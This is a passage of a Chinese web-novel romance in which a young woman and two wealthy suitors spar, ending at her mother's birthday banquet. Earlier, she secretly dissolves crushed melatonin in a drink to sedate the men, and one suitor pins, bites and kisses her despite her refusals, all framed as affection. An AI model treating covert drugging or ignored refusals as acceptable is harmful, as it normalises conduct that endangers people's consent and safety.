邢葵心提起来,江玉鸣冲她笑,手指伸进纸盒取出里头药板,低眉。 胶囊第一排,空的,缺了两颗。 “我早上中午各吃了一颗,感觉肚子好了很多,就没有再吃。”邢葵沉住气说道,幸好她谨慎,作假做全面。 这下理当不能引起疑心了。 江玉鸣收起药板,应该没多疑:“还疼不疼?” 邢葵一只手按住肚子,另一只手拇指和食指捏起来:“还稍微有一点点,不打紧。” 江玉鸣放下药,手揽过她的腰,他力气大,邢葵失衡,再睁眼已经坐到他怀里,他坐在沙发上,指尖触到她的肚子:“我瞧瞧。” 距离如此近,黏湿的铁锈味近乎灌进鼻腔,邢葵皱鼻拧眉,他伤这么重还能发骚。 “不要。” 他的手掌却已隔着睡衣覆上她小腹:“你说什么?雨声太大我就听到最后一个字。” 阳台上,小雨在空的花盆里滴出涟漪,江玉鸣的手就如雨,惹得邢葵颤栗。 她咬牙,睡衣是纽扣式,温热的手指从两枚纽扣之间穿入,像找不准胃所在,迟疑、摸索。 “江玉鸣,你这不是在看诊。” “我知道你知道我不是在看诊。” 邢葵仰脸,江玉鸣额两旁的头发长了,垂下来少许挡住他的眼睛,视线黏稠露骨,“你在我怀中,我看到的只有你。” 手掌崩开纽扣,进入她米黄色的睡衣,掐住她的腰。 “梁君赫说我喜欢你,你觉得我喜欢你吗?”他将她拽得腰贴上他的腰,目光锁着她问。 他这是遭遇了什么呀…… 邢葵有点担心江玉鸣,凝思琢磨了下回答:“我不清楚,我想不到你们不正常人的脑回路,如果是喜欢的话,你又能大方让我去攻略别人。” “我母亲出过轨。” “啊?”邢葵愣神,“啊???” 江玉鸣看着她:“你在新闻上搜不到,这种丑闻,我父亲自会抹除,我母亲因为爱嫁给他,却在这段婚姻中失去自我,有一位园丁懂她,于是他们私奔了。” 那一年,江玉鸣只有六岁,不懂什 么理想、爱情,也不明白为何母亲要跟另一个男人走。 他闹着要回家,梁佩玲因此抛下他。 “我母亲爱唱歌,她以为她逃了就能自由,可园丁认可她却支撑不了她,他们很快花光了钱财,一年多后,园丁返回江家带来了她的骨灰。 她在贫穷中病逝。 我不理解,既然我父亲能带来物质,园丁能带来精神,为什么他们三不和谐共处,那样谁都不会失去什么。 我父亲不够包容,我不会走他的错路。” 邢葵感觉她头顶降下一座泰山,将她整个人压扁了。 江玉鸣低下头来,额头蹭她的额头,好像不认为他说的话有多惊世骇俗,“所以你觉得,我喜欢你吗?” 都向她倾诉家族秘辛了应该是喜欢的吧…… 家家有本难念的经,江玉鸣家的经,邢葵不能发表看法。 这是江玉鸣教她的,他说为了不让梁君赫喜欢上她,别去触碰关于梁家人的话题。 将梁君赫换成江玉鸣,也适用。 “我,对不起,江医生,我没在考虑让你做我解决催婚问题的对象。”她委婉地拒绝。 个个都要找她真恋爱,可真恋爱能带来的喘息时间有长有短,周镜就带来一天,和周镜条件相似的江玉鸣不会差别多大。 “催婚我会想到办法解决,”江玉鸣饱满的唇在她唇前吐着热气,“你就告诉我,你愿意走进我的世界吗?” 邢葵向后抿唇,身体也往后倾,是很明显的拒绝姿态,江玉鸣却不准她后退。 骤然有人按门铃,邢葵如获大赦,挣脱:“不愿意,我去开门。” 她急匆匆的,拖鞋都穿反了,跑到门前就拉门,门外的人笑得如三月桃李:“葵葵把监控换了啊……你睡衣纽扣怎么没扣好?” 顺着梁君赫的话邢葵低眼看,该死,刚被江玉鸣弄开一颗,好在只露出一小块皮肤,她立马去扣。 “葵葵老婆我来替你扣!” 邢葵猛地后退:“干什么,我手脚俱全不用代劳。” 梁君赫进门关门,如一只蜜糖做的小狗,一跳,蹦到她面前弯腰:“给我个和你贴贴的机会,让我晚上睡个好觉吧。” 他奶白的脸对着她,右耳垂还戴了颗黑色亮面耳钉,应是白天拍摄工作需要。 “做噩梦让你带一点颓感,更易吸粉。”江玉鸣从邢葵后面走来。 “江哥,你也在啊。”梁君赫站直,嘴角下撇,猜测纽扣解开的可能性,眼睛都斜过来,“我又高兴又不高兴看到你。” 他此刻离邢葵近,两只手臂一伸揽住邢葵,手伸到她腹部给她扣纽扣,“我昨晚把我爸气得去找你爸了,快点回报我啊。” 江玉鸣不意外,江父不看综艺,对梁君赫在追邢葵一事不知情,他收到的照片也仅有江玉鸣和邢葵两人,是从哪里得到的梁家儿子也喜欢邢葵的消息?其中八成有梁君赫手笔。 他这位兄弟,从前很聪明,最近他的聪明回归,却是用于对付其他兄弟。 梁君赫利用江父爱比较儿子的心理,为江玉鸣从表面上搞定了长辈问题。 他想江玉鸣心无烦忧,去追邢葵,去做他的对照组。 只不过,江玉鸣出现在邢葵家,不是因为此,而是想弄清楚,邢葵那晚是不是替他上了药。 他不该睡到无所觉,邢葵家里,有褪黑素。 “你们刚在做什么?”梁君赫明知故问,从后面抱着邢葵,明晃晃地挑衅。 邢葵嗅到硝烟味,伸手臂:“啊啊啊,你俩来得正好,我正想说呢,兰姐给我接了个破壁机的广,我正想试用一下。” 厨房的台子上摆了一只大口径瓷碗,是邢葵提前准备好的,江玉鸣望向碗内,里头是红豆和大米。 “我在网上搜的视频,想试试红豆牛乳。” 她要拿碗,江玉鸣却先一步将它端起:“我来洗。” 褪黑素有可能混在里头。 邢葵抓住碗:“别,我来吧。” 江玉鸣观察她的表情,另一只手穿进他俩之间,梁君赫拉开邢葵:“让他洗,你的手比他金贵。” “医生的手哪里不金贵了。”邢葵望望江玉鸣,他身上血味不轻,她好心不想让他干活。 他还干得毫不迟疑,长指在水流和红豆大米中穿梭,洗得真细致。 里头没有褪黑素。 浮米的水面照出江玉鸣表情,眉头微蹙,转过身去,又是艳丽撩人的江医生:“给。” 洗净的红豆和米哗啦倒进机器,邢葵加入冰糖和清水,机器运转,她挪步:“我去拿瓶牛奶。” 江玉鸣:“我去。” 梁君赫:“我去。” “哎呀你们,你们就站在原地别动,我冰箱里牛奶有一瓶拆过的,你们知道是哪瓶吗就去。” “我知道。”江玉鸣说道,“你习惯将拆过的放在哪一格,我清楚,我去。” 梁君赫嘴角扯了下,脸撇到一边无声蛐蛐:了解老婆了不起啊,哕。 他抱住邢葵胳膊:“让他去吧,你要试用破壁机,我跟你在这里,听它运行声响大不大。” 言外之意:我们二人世界,江玉鸣想表现就让他表现去。 邢葵皱着眉,看看破壁机,又看看江玉鸣:“好吧,麻烦你了。” 一两分钟后,江玉鸣返回,带回一瓶未拆封的牛奶:“葵葵,那瓶拆封的似乎变质了。” 没有,江玉鸣是怕邢葵提早将褪黑素放在牛奶里,那过于隐蔽,他不便分辨。 倘如是在那瓶牛奶中,邢葵失去牛奶,就得另想它法。 破壁机停止运作,邢葵倒入牛奶搅拌,拿出三只杯子,江玉鸣又接过去洗。 梁君赫十指不沾阳春水,在旁边酸:“这么人夫,以后当不成人夫哥别哭啊。” 江玉鸣只想知道邢葵加不加褪黑素。 “好了,一人一杯。”邢葵倒着做好的红豆牛乳,“都尝尝它打得怎么样,会不会有渣感。” 她将杯子推给两人,眼神期待,“下个月我妈过生日,让我回去一趟,要是好用我给她带一件。” 梁君赫亮起双眸:“伯母生日,我也要去!” 邢葵:“……你去什么呀去。” 梁君赫点头:“好,葵葵,我会去的。” 邢葵:“?你有在听我讲话吗?” 江玉鸣望着两人对话,攥住面前杯子,食材里没褪黑素、牛奶里没褪黑素、杯子也清洗过,邢葵喝着和他同样的红豆牛乳,神色如常。 难道,是他误会了? 难道是,茎条尖刺从他血肉出来时,钩断了线条? 他端起红豆牛乳,喝掉。 夜深如墨,外头雨势渐壮,江玉鸣所住的客房门被轻悄悄推开,邢葵探头细瞧,另一只手拎着药箱。 褪黑素不在食材,也不在牛奶,更不像武侠剧一样抹在杯口边缘。 是在打豆浆要加的清水里。 邢葵提前将不少颗褪黑素用勺子碾成粉,洒进了水壶中化开。 她警惕性不差,防止江玉鸣真觉察到她那晚行为,还和他一同喝了加料的红豆牛乳,之后去催了吐。 蹑手蹑脚走近床,江玉鸣今晚也趴着睡,想来后背比催吐还难受吧,正着睡也容易将血流到床上。 药箱放到床头柜,邢葵蹲下来身,脱江玉鸣的外套,他今日内搭穿的是白长袖,随着外套褪下,深红色的后背一寸寸显现。 今天不像上回,没洞,房间内没开灯,下雨天月光也暗,邢葵稍微瞧不清,从药箱里拿出生理盐水,凑近。 这血……像是倒上去的! 猝然,江玉鸣贴在床上的一只手臂抬起,精准攫住她的手腕,守株待兔的他大力一拽,抱住他的兔子。 “邢、葵。”耳边,江玉鸣滚烫地、一字一顿喊她的名字,“你已经闯进了我的世界,由不得你不愿意!” “你怎么。”邢葵紧张骇然,他也催吐了。 窗外阴雨连绵不绝,暗冷的光照着江玉鸣深黑的眸子:“我是没发觉你褪黑素加在哪儿,可不管 怎样,褪黑素要起作用,得我吃进去。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 到头来,喝了红豆牛乳睡着的,只有梁君赫一个。 江玉鸣从后面拥住邢葵,浓烈的血腥味潮水般将她包裹,她像被卷进了洒满血的玫瑰丛林,密集狰狞的利刺让她抖瑟。 “我……”邢葵想跑。 “别狡辩,你上一回见到我背上的伤和疤了。”他甚至没问“是不是”,呼吸又热又重地落在她耳畔。 邢葵动臂挣扎,江医生对她体贴照拂,是她的铁杆队友,她一直觉得江玉鸣内里危险,但那种危险,一直在异世界,从未真真正正向她释放过。 她有点怕:“那不意味什么,江医生。”你快变回原先的样子。 江玉鸣丝毫不笑,雨夜潮湿缺光,他的唇贴在她的耳边,几近吻上去,气息炙热,重复说道:“你看到疤了。” 那些疤痕,遍布在白皙宽瘦的后背,有的像长蜈蚣,有的像小甲虫,丑陋可怖,与江玉鸣艳光四射的正面迥然相反。 如滋长在背后的阴翳。 《聊斋》中有画皮恶鬼一说,美人揭面,阴诡骷髅。 旧疤和新伤一齐入目,邢葵能猜到他常年挨打,他是想说这个吗?“我会忘掉的,别生气。” 话落,江玉鸣猝地咬上她的耳垂。 “你看到,你该问,你当不知道。” 真实的江玉鸣,不是辉德职工口中的妇女之友,而是一个冷情冷性的疯子。 湿热的唇往下移,叼住她的脖颈,江玉鸣五指抬高她的下巴,艳鬼吸血般咬吮她。 室外雨急风骤,室内邢葵被他咬得难以说话,他柔软的头发摩着她的下颌,香气和血味充盈鼻腔。 邢葵用手抵拦,指尖穿进江玉鸣的发丝拽,喂,梁君赫还睡隔壁呢,然后她感觉到他化作颤栗的兴奋。 他兴奋个什么东西! “你该问,你当不知道。”江玉鸣在喘动中重复。 邢葵不理解,怀疑江玉鸣生病了,拽他头发的手偷偷下移,想探探他额头温度。 江玉鸣抬她下巴的手忽地移开,与她要摸他额头的手十指相扣:“好孩子,我完蛋了。” 一年多了,江玉鸣认识邢葵一年多了,他很清楚她是怎样的小天使。 有疤的人会说,歧视疤的人才有问题,可这些人中,有多少只是因为自身有疤才这样执言,若他们从来没有过疤痕,或许也是歧视疤者中一份子。 而邢葵表里一致,江玉鸣早就知晓,她见到他后背后,不会生出嫌弃。 只是,江玉鸣仍恐惧邢葵见到他残缺的世界。 因为邢葵也胆小,她会害怕;邢葵也善良,她会同情。 江玉鸣不想要邢葵的害怕和同情,这两种眼神,他自小得到过不止一次,那让他恶心反胃。 如果她出于害怕远离了他,如果她出于同情向他打听,他们就结束了——江玉鸣也不想和邢葵结束。 一年多的时间,周镜、许野、梁君赫相继钟意邢葵,而江玉鸣陪伴邢葵一年多,他们看到的邢葵闪光点,他难道就看不见吗? 可能,江玉鸣也是动心的。 所以他才拧巴地,和邢葵亲,喘气连连,渴望渴求,却强耐着不和她睡。 他不想停下对她心动。 然后,邢葵推翻了江玉鸣的预判。 她嗅到他身上只有血味没有药味,不动声色地让他饮下添加褪黑素的水,在夜里小心翼翼为他清理。 第二日早,江玉鸣检查伤口,被邢葵撞见,她还笑他是不是后背痒打岔。 她佯装不知,可能也有过害怕,可能也正在同情,但比害怕和同情更首要的,是江玉鸣的个人想法。 江玉鸣没说,邢葵就当不知道,管她有什么情绪,她都压住。 她远超江玉鸣预测得小天使,她有一颗金子做的心。 当然邢葵做出这一选择,确有一部分原因,是她没想走进江玉鸣的世界,可前者也毋庸置疑,否则她就不会给江玉鸣上药。 更不会第二天找借口亲自做早餐,小米红枣粥、红糖鸡蛋醪糟……都是补气血的东西。 当江玉鸣发觉邢葵为他上了药,一些不会被发现的细节重现。 比如那天在饭馆吃饭,菜是邢葵点的,一道影响伤口恢复的辣菜也无。 比如邢葵给四个人都盛了猪蹄汤,也许她是为了给他盛。 比如老母鸡两只翅膀两只腿,邢葵一只都没吃,也许她是为了让他吃鸡腿。 …… 她的好就像空气中的氧气,无形无色无味,不压迫,不刻意,不卖弄,让人自在呼吸。 而江玉鸣一意识到,她也像氧气一样,支撑他心脏搏动。 他与邢葵十指相缠说:“好孩子,我完蛋了。” 二十多年母弃父厌的窒息人生尝到氧气,他的心脏,因她跳动不止,他必须要,攥住这股氧气。 “既然你不愿意让我当小三,那我做你男朋友吧,我决定,和梁君赫争。” 邢葵懵圈,不是,这咋了这,话题怎就从疤跳到了这里? 她没对江家故事发表任何看法,怎就又收获一个追求者? 江玉鸣!你给的攻略有问题!梁君赫折了,你自己也折了! “江医生,我拒——” 江玉鸣眼皮撩起,咬住他缠着的那只手的腕部,鲜艳的舌抵在她的皮肤,余光看她,风情潋滟:“刚那个字,再说一次。” 邢葵咽口水:“拒?” 他弯起红唇笑开,大拇指抹上她的唇:“葵葵,说这个字的唇型真像在同我讨吻。” 邢葵皱住眉头,下意识无声说了说“拒”字,恍悟,他这都能骚!“我说我要拒——” 江玉鸣蓦地掰过她的脑袋,唇停到她唇前,热息吐到她唇上:“再说?” 邢葵紧紧闭上嘴巴。 他轻笑:“我知道,梁贱人的追求就让你够苦恼,你不想事情更复杂,但兴许,就如梁贱人所言,我和他相互比较,能助你拨开云雾找到前路方向。” 直接喊兄弟贱人,邢葵听着窗外泼盆雨声,听闻月黑风高好杀人,假如这个世界杀人不犯法,江玉鸣会不会今夜就弄死他曾经的兄弟啊? 江玉鸣一只手掌按着她的头,一只手与她牵着,唇贴在她的唇瓣,气息越发粗重:“下个月你妈生日,我与你同去。” 邢葵弯曲手指,向后抓:“可是梁君赫说他也要去。” “离得好近,葵葵,我想亲你。” 江玉鸣也不知听没听她讲话,声息似吻般扑洒,炽热湿润。 他已然按捺太久,邢葵逃不掉,干脆换成交易:“那亲一下,你别去了。” 两个追求者都跟她去参加母亲的生日宴也太刺-激了,别吧。 话音方落,江玉鸣迅风般堵住她的唇,抢夺起她的唇中氧气:“好。” 他极少这样掠夺性地亲,几近病态地扫她的唇内,一秒一秒,攫取不止,简直像要吃了她,邢葵都呜呜咽咽脱了力。 等她慌乱逃走时,靠在床上的江玉鸣有如吸足精气,神彩照人,两条长腿悠闲交叠,手指拿起手机。 点开备忘录,点开置顶“玫瑰花TOP1”笔记,更改次数。 这条笔记于2027年4月创建,迄今将近一年,如今页面内数据显示: 27/43, 0.5+0.5+……+0.5/10。 2028年4月,天气晴朗,搬运工人搬着一箱箱打包好的行李下楼,邢葵跟在后头。 蓝色浅黄里布的皮夹克外套,配白色吊带、黑色牛仔裤,斜跨一只驼色粗链条小包。 神秘的天天奇妙历险身份、金主绯闻、梁君赫的追求,参加完《十万个问题》后,邢葵炙手可热,全平台粉丝数大幅增长,一个月来,来找她的品牌方络绎不绝。 她一个月挣了七位数。 这下别说麻辣烫,就算吃火锅,也可全场任点。 品牌方寄给她不少产品,有她用不到的,有寄得份数多的,邢葵打算都带回老家,邢母爱面子,她不用的,送人 也行。 叫了搬家公司,她人也准备随车一同回去,打开车门,邢葵前进一步,又后退一步,望向路口驶来的一红一粉两辆豪车。 两辆车停下,江玉鸣和梁君赫一前一后走出,异口同声:“葵葵坐我的车。” 邢葵晕眩:“江医生,你说不去的。” 江玉鸣挡住梁君赫:“我说不去,没说不去哪儿啊。” 梁君赫从江玉鸣身旁蹿出:“当然坐我的,葵葵家长都不认识哥,哥一边去。” “怎么不认识?葵葵住院时,我和伯母见过面,你见过吗?”江玉鸣反问。 梁君赫脑子转得快,很快得意讥嘲:“伯母可能天天在网上见我,你有这待遇吗?不如我今天跟哥比一比谁‘见’的次数多?” 邢葵静悄悄移步,凑近货车,自从梁君赫得知江玉鸣决定追她后,就动不动和他攀比,这回还算合理的,前几日梁少爷还想比谁的头发更多。 趁二人争锋相对,邢葵火速钻进货车:“司机师傅快开!” 小区景色浮光掠影,邢葵按胸缓了一口气,一低头,微信群里发起了群通话。 上周梁君赫将他们三人拉了个小群,说是方便彼此友好交流。 邢葵望望群名:“我和我的对照组”,怎么也不像友好交流的样子。 接通。 梁君赫:“喂,葵葵,我追上来啦!” 邢葵看了眼他的微信名:“甜甜的恋爱会找上我”,是他追着她要甜甜的恋爱吧? 江玉鸣:“我在后面。” 邢葵也看了眼江玉鸣的昵称:“明天没有手术”,反正今天肯定没有手术。 梁君赫:“对!是我在前面!” “你们两个,哎。”邢葵叹气,都来了她能有什么办法,搬家师傅又不会急速漂移,能将他俩甩掉,“到时候我跟我妈说,你俩都是我朋友哦。” 邢葵老家那儿按虚岁过生日,身份证上邢母去年四十九岁今年五十岁,但按虚岁,邢母去年五十今年五十一。 依老家惯例,邢母本该去年大办五十岁寿辰,可去年那时邢葵才出车祸不久,家里就没热闹。 没第二年补办的道理,谁让上个月邢葵火得亲戚皆知,如此有面的事,李正军自想炫耀,就劝邢母办个酒席。 邢母也动心,邢葵想着母亲前年就在盼望五十岁生日,就也点了头,还给母亲转了几万块出了资。 小镇风和日丽,远远就能瞧见架在道路上的红色充气拱门,一排一排,上书“恭贺邢春霞xxx五十岁诞辰快乐”等等。 梁君赫长这么大都没瞧过这种东西,车都开慢了,细瞧。 邢葵从小看到大,她母亲的姓名后面跟着各种各样称呼,二婶、二姨、二姐……这红拱门架一天要一百块,送门的亲戚一天不知道挣不挣得到一百。 “哇,好有排场,小姐,这大红门在哪儿做啊,我爸下半年过大寿,我也给他订一个。”开车的搬家工师傅惊奇。 “回头我问问,把联系方式发你。”邢葵看见三婶高红梅的名字,想来三婶也在。 酒席没在酒店办,而是在邢葵家门口搭大棚,好的流水席厨师厨艺不输饭店大厨。 “十一、十二、十三……今儿多少桌?”一张放好凉菜的圆桌边,高红梅嗑了枚瓜子,将瓜子壳呸到地上,羊毛卷短发一甩,问旁边四婶王芳。 “二十呢,菜品还有生蚝,有了个有出息的姑娘,可把她得意的。”四婶尖言尖语。 “就是,说什么她也赶一回潮流,过一下周岁生日,不就是想炫?”四婶的姐姐王娟也在旁边。 “还不收礼金,炫富给谁看?你说以后她姑娘要是不结婚,不生孩子,她以前给出去的礼金都收不回来。”四婶话里带刺。 四婶姐姐偷瞄左右,小声:“不是有个大明星在追她姑娘吗?” 四婶拿了枚瓜子放到嘴边:“是真是假还不一定呢,我可听我儿子说了,娱乐圈会有什么合约情侣,没准就是炒作!” 高红梅面露喜色:“我说呢,一个大明星,又帅又有钱,追她能一个月还追不到啊,原来就是炒作。” “十有八九就是了。”四婶姐姐认定,“我说哪来那么多高富帅追她,上回那个周律师,已经是她踩了天大的狗屎运,可惜啊,被人家甩了。” “是葵葵和他分的手。”走过来的邢母恰好听到这一句,蹙了蹙眉,露出假笑,“说什么呢。” 高红梅糊弄:“随便聊聊。” 她向四婶使了个眼色,示意她止声,今儿终究是邢春霞的场子,不过四婶为人刻薄,这段时间嫉妒也日日烧着她的心,仍旧开口。 “说你家葵葵呢,春霞啊,葵葵事业有成,婚姻上也该抓抓了,你说周律师条件那么好,分手有什么想不开的,她一辈子能遇到几个周律师啊?” 邢春霞挤笑编谎:“多着呢,追葵葵的人多到需要她挑。” “哎哟,又跟咱们撒谎,去年你还说葵葵头上疤很小呢。” “这回是真的。”邢母硬撑。 “别吹牛啦。”四婶嗑瓜子,嘴角都翘到耳根。 这时,一辆货车驶到邢老二家门口旁的路上,后面一辆粉色豪车停下,再后面一辆红色豪车停下。 邢葵、梁君赫、江玉鸣三人相继开车门下车,光彩夺目。 接收到熟悉的尖锐视线,邢葵猜到这些人又在聊催婚相关,立在原地思索应对方法。 梁君赫几步跨过来,手臂搭上她的肩,冲邢葵的亲戚们招了一下手,笑出小虎牙:“嗨,我是她的追求者。” 江玉鸣紧接着走来,梁君赫站邢葵右边,他即站到左边,风华正茂:“我也是她朋友。” 第92章 三个人站在一处,快亮瞎亲戚的眼睛,四婶翘到耳根的嘴角也立时收了回去。 说什么呢?两个男人第一个说“他是她追求者”,第二个说“他也是她朋友”,四舍五入两个追求者! 还都又帅看着也有钱,这是人能办到的? 四婶、四婶姐姐、高红梅,全都张大嘴合不上,大棚里许许多多亲戚都投来关注。 梁君赫他们认识,聊邢葵八卦时没少搜他照片,染粉发也俊俏耀眼的大明星,个高腿长又富有,谁能得到他做女婿做梦都得笑醒。 而如今,光华万丈的明星,他就站在他们镇的路上,身后隔壁人家用竹竿架起来种的四季豆随风微扬。 谁说是炒作的?炒作能追到镇上来?! 他们怀疑眼花了,而邢葵左边另一个男人,有着不输梁君赫的帅气,宽阔的肩撑起一件白西装,配黑色衬衫,胸前一枚玫瑰别针,他人也帅得和玫瑰一样张扬。 而如今,天姿国色的玫瑰,他也站在大棚之外,说着和梁君赫相似的话。 他也要追邢葵! 不敢相信,两位亲戚们这辈子没见过的绩优股,都是因为邢葵才来到这里。 邢老二家的女儿,怎么办到的?不结婚的人生是失败的,她咋就不失败呢? 众人惊异的目光中,邢葵偏过头,看看右边梁君赫,她交代过要以朋友称呼,梁少爷答应过,应是觉察氛围不对才喊出心意。 看看左边江玉鸣,他声称他俩是朋友,但巧妙添加一个“也”字,亲戚们会如何联想,邢葵不用猜都知晓。 这两个聪明帮她解局的人,真值得各表彰一朵小红花。 “这不是,医生?”邢母见着女儿欣喜,疾步从大棚走出,认出江玉鸣惊讶,她对他印象深刻,“怎么会?” 邢葵回道:“就都是朋友,他俩正好有空来蹭个饭。” “伯母好。”江玉鸣掏口袋,递去一个扁的深红色礼盒,“祝伯母生辰快乐。” 邢葵惊住,江玉鸣可真善于人际交往,一声不吭地准备了礼物。 “嚯,来就是我的荣幸,送什么礼啊。”邢母乐呵呵打开盒子。 里头是一只玉镯,冰川似的清冽,通透反光,镯内飘着的深绿近乎于蓝,像在游动中被冻结的水藻。 不懂翡翠的邢葵也能看出是好东西,她妈被哄得眼角皱纹深深。 “可恶。”邢葵右耳捕捉到梁君赫超小声地骂,大少爷、小王子不是会讨好旁人的性格,他只想着老婆,哪能想到给岳母带礼物。 原地跺了下脚,梁君赫水润的桃花眼瞪向江玉鸣,视线化作一支支小箭往他身上刺。 犹如在说:这一局,是本少爷失策,小红花给你,本少爷迟早拿回来! 邢葵笑笑:“妈,我带了挺多东西回来,让师傅放哪儿啊?” 她走向大棚,家内双开门敞开,客厅地上摞了一层层牛奶,真来了不少亲戚,家里礼金也能收不少吧。 邢母戴着翡翠手镯,喜滋滋 的:“放院子里吧,回家给我带这么多东西,你买的衣服我都穿不完。” “是啊葵葵。”高红梅站起身,本想嗑瓜子,见到江玉鸣和梁君赫两位,有点嗑不下去,瓜子放到嘴边又移下,“你妈夸你老半天了,说她一身里里外外都是你买的,不过别怪婶子多嘴,别因为有钱了就乱买啊。” 梁君赫对她皱眉:“知道多嘴还要说。” 邢葵差点抑不住笑,梁君赫一贯目中无人,有他在,她身边简直多了一架战斗机。 “你讲话语气友善一点。”邢葵“批评”梁君赫,瞅着脸僵住的高红梅,婶婶请注意,是我追求者怼的,不是我怼的。 “好,我友善点。”梁君赫抬手,按住两边嘴角,拉开,对高红梅假笑,“今天这些都是品牌方送的,一分钱不要哦。” 刚才高红梅的脸像刚诞生的僵尸,这会儿像千年老僵尸。 他们这些人爱占小便宜,哪听得了“一车东西都不要钱”这种话。 这句话,比刚刚那句还有杀伤力。 邢葵手伸到梁君赫背后,轻轻打了他一下,又竖起大拇指。 如此一来,仇恨大部分都在梁君赫身上,最多往她身上也溅射一些,伤不到她母亲,爽! 梁君赫也爽,手背到后头,抓了抓邢葵大拇指,冲江玉鸣神气十足:小红花,拿来吧你! 搬运工一箱箱地搬东西,从四婶身旁走过,她嫉妒灼心,同样嗑不下瓜子。 削瘦的脸上挤出勉强的笑意:“葵葵最近赚了挺多吧。” 邢葵不清楚四婶葫芦里卖什么药,简单道:“还行。”也就是四堂叔一家加起来年收入的几倍。 “难怪不收礼金呢。” 什么?不收礼金?! 邢葵想喊人掐一下她的人中,她家亲戚多如繁星,生辰、死亡、结婚、升学……家里每年数不清的酒席要赴。 礼金一年比一年出得多,好不容易轮到她家有机会收钱,居然不收吗? 邢葵看向邢母,好想捧住她的头,摇一摇脑子里的水,礼金只进不出,不等价交易,太亏了。 但四婶更一肚子坏水,认为她一定在意礼金,想看她给邢母难堪,往如此愉悦的日子撒老鼠屎。 邢葵必不会如她意,再说,礼金,她虽觉得只进不出亏,但,她冷静地笑:“也没几个钱,婶婶吃得高兴就好。” 四婶也僵成千年僵尸,血缘最近的家庭出一千,远一些的六百,一顿酒席涉及礼金几万块,邢葵竟然说没几个钱。 她是挣了多少,几十万?还是……四婶不敢想象。 实际上邢家为这场酒席出的钱已经回来了,梁君赫瞥了眼邢母戴到手上的玉镯,高冰飘蓝花,几万块。 可恶,江哥也不提前给他透露透露,他买个几十万的几百万的跟他斗啊。 货车里的货卸完,邢葵跟司机师傅结账,让江玉鸣和梁君赫找地方先坐。 “葵葵换了部手机啊?”邢母过来。 “嗯。”原来的手机是厉乘川通过抽奖送她的,不确定里头有没有异常,那天邢葵和周镜他们吃完饭回去就换了手机。 生活中的问题,邢葵不会跟妈妈讲,只是笑。 邢母有点局促,拉着她走到路边,鞋子踩塌野草:“妈知道,你会为妈不收礼金生气,但我本来不该补办生日,妈怕他们说闲话。” 邢葵拍拍母亲手背:“哪有不该,是你去年该办的没办,按他们的逻辑,去年咱们家还给他们省了一笔钱。” 邢母笑出来:“好好好,不要紧,这回就不跟他们要了,日后你结婚、生孩子咱们再——” 邢葵捂住她的嘴:“煞风景了妈,今天禁止聊这个话题。” 邢母十分用力地眨了眨眼,表示不聊了,邢葵狐疑地盯着她,她又用力眨了眨眼。 口红都沾到了邢葵掌心,她移开手,取出一张手帕纸擦拭。 “妈就再说一句。” 邢葵抬起头,举起手。 邢母一把将她的手按下去,“就一句。”母亲鬼鬼祟祟地瞅了眼大棚内,“那两个,谁是你男朋友啊?” “都不是。” “那你喜欢哪个啊?” “妈,这是第二句了哦。”邢葵嗔了眼邢母,突然有两个优质男来喊她“伯母”,妈妈是会关心,“就,都喜欢吧。” 江玉鸣和梁君赫的好,她都有接收到,但要说动心,都谈不上。 “都喜欢?”邢母误解了她说的“喜欢”,大惊失色,脸色如快速变换的红绿灯,“葵葵,你可不能同时谈两个。” 邢葵失笑,打趣母亲:“怎么不行?我还能同时谈四五个呢。” 邢母脸色变成彩虹:“四五个?哎哟,这个王半瞎也太灵了,我找他给你求姻缘,怎地求来这么多。” “王半瞎?你又被骗钱啦?” “别胡说八道!”邢母双手合十对天拜了拜,“菩萨在上,我女儿不懂事,莫怪莫怪,王半瞎今儿也来了,我得再去找找他,你去坐下吧。” 邢母步履急匆匆,几步后又跑回来,“赶紧在两个中选一个,我去找大仙帮帮你。” 邢葵摇头笑,世上有无神明鬼怪她不清楚,偶尔她也会向神明许愿,但那个王半瞎绝对是骗子。 偏偏他能骗到一个镇、甚至来自全国各地的人。 路边的野草被邢母踩折了腰,邢葵注视,多少人也被生活踩折了腰,向神棍求取养分。 而有的人自己折了腰,也要让别人不痛快。 邢葵将视线移到大棚内部,一张张圆桌,一张张亲戚的面孔。 其实方才那位言语尖酸的四婶,本是个质朴的农民,邢葵小时候,四婶家里种了桃树,每年到了丰收季,四婶都会笑呵呵给亲戚们一盆盆送桃子。 直到她的老公包-养小三。 发觉的四婶带了一大帮人去小三家里闹,争斗、挖苦、同情……四婶在闲言碎语中刻薄,见不得别人家庭幸福。 总要去找别人家庭不幸,以显得她过得比别人好。 包括高红梅等人,她们未必天生就是恶人,令人叹息的是,她们也很难后天被拧正。 从小到大,邢葵见识过太多女性被不幸婚姻磋磨,邢母让她赶快在江玉鸣和梁君赫之间做出选择,可她如何能因为一个人高富帅就心动呢。 就在邢葵和邢母交谈的功夫,两位高富帅已经落座,并迎来、迎走了一批人。 先是有人来给他们递烟,被江玉鸣拒绝,再是有人来打听他们和邢葵的情况,被梁君赫骂走。 “就你也想当爱豆?滚滚滚。”一名阿姨带着儿子,想从梁君赫那儿走关系,真是异想天开。 梁君赫的字典里就没有“客气”,除非他见到的人是邢葵,“葵葵坐这里!这里离那群烟鬼子远!” 邢葵都不敢看那位阿姨和她一米七的儿子,坐下:“我发现你们兄弟都不抽烟哎。” 梁君赫眼珠一转:“谁说的,周哥抽。” 邢葵瞄他:“他是以前走歧路时候抽的,早戒了,别明目张胆诋毁他。” 就在梁君赫污蔑周镜时,江玉鸣取过邢葵身前餐具,撕掉外面塑料膜,倒茶清洗。 邢葵说“谢谢”,梁君赫翻白眼,端起他的餐具铛地放到江玉鸣那处:“江哥,这 么爱洗帮兄弟我也洗一洗。” 江玉鸣抬眸:“不是要跟我比?遇到活就不想干了?看来我更适合当一位男朋友。” 梁君赫昂起下巴:“我家里有洗碗机。” 说得跟江玉鸣家里没有似的,江医生嗤笑,慢条斯理地清理碗盘,餐桌下的鞋,也慢条斯理地贴到邢葵鞋边。 “葵葵,刚才你母亲在和你讲什么,可是对我和他有什么看法?” 显而易见,江玉鸣注意到了邢母和邢葵在路边的交流,更将母女俩的表情尽收眼底。 “你母亲,觉得我们哪一个更合心啊?” 邢葵感觉到,右边也来了一只鞋,她的鞋被夹在两只鞋中间,难以左右移动。 太可怕了!那就前后移动吧,邢葵猝地往后收脚,原本夹在她左右的两只鞋砰地相撞。 鞋的主人视线瞬间撞在一起,噼里啪啦地冒火花。 